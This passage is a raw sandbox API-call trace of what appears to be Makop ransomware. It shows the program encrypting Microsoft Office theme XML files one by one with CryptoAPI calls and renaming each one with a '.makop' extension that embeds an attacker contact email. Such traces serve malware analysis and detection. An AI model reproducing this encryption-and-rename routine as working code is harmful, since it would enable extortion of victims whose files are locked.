| out: lpNewFilePointer=0x0) returned 1 [0158.833] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0158.837] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0158.837] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0158.837] GetProcessHeap () returned 0x48a0000 [0158.837] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0158.837] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0158.837] CryptDestroyKey (hKey=0x48c7128) returned 1 [0158.837] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0158.837] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0158.838] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0158.838] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0158.838] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0158.838] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0158.838] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0158.838] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0158.838] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.838] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3c2, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3c2, lpOverlapped=0x0) returned 1 [0158.838] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3d0, dwBufLen=0x3d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3d0) returned 1 [0158.839] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.839] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3d0, lpOverlapped=0x0) returned 1 [0158.839] CryptDestroyKey (hKey=0x48c7128) returned 1 [0158.839] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.839] SetEndOfFile (hFile=0xf0) returned 1 [0158.845] GetProcessHeap () returned 0x48a0000 [0158.845] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0158.845] GetProcessHeap () returned 0x48a0000 [0158.845] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0158.845] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Technic.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 124 [0158.845] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Technic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\technic.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Technic.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\technic.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0158.847] CloseHandle (hObject=0xf0) returned 1 [0158.847] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa69f900, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa69f900, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Thatch.xml", cAlternateFileName="")) returned 1 [0158.847] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Thatch.xml") returned 76 [0158.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Thatch.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\thatch.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0158.848] GetProcessHeap () returned 0x48a0000 [0158.848] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0158.848] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0158.848] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0158.848] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xf, lpOverlapped=0x0) returned 1 [0158.853] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0158.853] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0158.853] GetProcessHeap () returned 0x48a0000 [0158.854] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0158.854] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30) returned 1 [0158.854] CryptDestroyKey (hKey=0x48c7128) returned 1 [0158.854] WriteFile (in: hFile=0xf0, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0158.854] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0158.854] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0158.854] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0158.854] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0158.855] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0158.855] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0158.855] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0158.855] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.855] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3c1, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3c1, lpOverlapped=0x0) returned 1 [0158.855] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3d0, dwBufLen=0x3d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3d0) returned 1 [0158.855] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.855] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3d0, lpOverlapped=0x0) returned 1 [0158.855] CryptDestroyKey (hKey=0x48c7128) returned 1 [0158.856] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x494, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.856] SetEndOfFile (hFile=0xf0) returned 1 [0158.862] GetProcessHeap () returned 0x48a0000 [0158.862] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0158.862] GetProcessHeap () returned 0x48a0000 [0158.862] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0158.862] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Thatch.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 123 [0158.862] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Thatch.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\thatch.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Thatch.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\thatch.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0158.865] CloseHandle (hObject=0xf0) returned 1 [0158.865] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd4d0a00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd4d0a00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Trek.xml", cAlternateFileName="")) returned 1 [0158.865] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Trek.xml") returned 74 [0158.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Trek.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\trek.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0158.866] GetProcessHeap () returned 0x48a0000 [0158.866] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0158.866] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0158.866] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0158.867] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x1, lpOverlapped=0x0) returned 1 [0158.875] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0158.875] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0158.875] GetProcessHeap () returned 0x48a0000 [0158.875] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0158.875] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30) returned 1 [0158.875] CryptDestroyKey (hKey=0x48c7128) returned 1 [0158.875] WriteFile (in: hFile=0xf0, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0158.876] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0158.876] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0158.876] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0158.876] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0158.876] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0158.876] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0158.876] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0158.876] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.877] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3bf, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3bf, lpOverlapped=0x0) returned 1 [0158.877] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3c0, dwBufLen=0x3c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3c0) returned 1 [0158.877] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.877] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3c0, lpOverlapped=0x0) returned 1 [0158.877] CryptDestroyKey (hKey=0x48c7128) returned 1 [0158.877] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x484, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.877] SetEndOfFile (hFile=0xf0) returned 1 [0158.883] GetProcessHeap () returned 0x48a0000 [0158.883] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0158.883] GetProcessHeap () returned 0x48a0000 [0158.883] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0158.883] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Trek.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 121 [0158.883] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Trek.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\trek.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Trek.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\trek.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0158.886] CloseHandle (hObject=0xf0) returned 1 [0158.886] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe7e3700, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe7e3700, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Urban.xml", cAlternateFileName="")) returned 1 [0158.886] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Urban.xml") returned 75 [0158.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Urban.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\urban.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0158.888] GetProcessHeap () returned 0x48a0000 [0158.888] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0158.888] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0158.888] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0158.888] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0158.889] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0158.889] GetProcessHeap () returned 0x48a0000 [0158.889] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0158.889] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30) returned 1 [0158.889] CryptDestroyKey (hKey=0x48c7128) returned 1 [0158.889] WriteFile (in: hFile=0xf0, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0158.893] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0158.893] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0158.893] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0158.893] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0158.893] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0158.893] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0158.893] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0158.893] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.894] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3c0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3c0, lpOverlapped=0x0) returned 1 [0158.894] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3c0, dwBufLen=0x3c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3c0) returned 1 [0158.894] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.894] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3c0, lpOverlapped=0x0) returned 1 [0158.894] CryptDestroyKey (hKey=0x48c7128) returned 1 [0158.894] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x484, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.894] SetEndOfFile (hFile=0xf0) returned 1 [0158.901] GetProcessHeap () returned 0x48a0000 [0158.901] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0158.901] GetProcessHeap () returned 0x48a0000 [0158.901] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0158.901] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Urban.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 122 [0158.901] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Urban.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\urban.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Urban.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\urban.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0158.902] CloseHandle (hObject=0xf0) returned 1 [0158.902] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffaf6400, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xffaf6400, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Verve.xml", cAlternateFileName="")) returned 1 [0158.902] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Verve.xml") returned 75 [0158.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Verve.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\verve.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 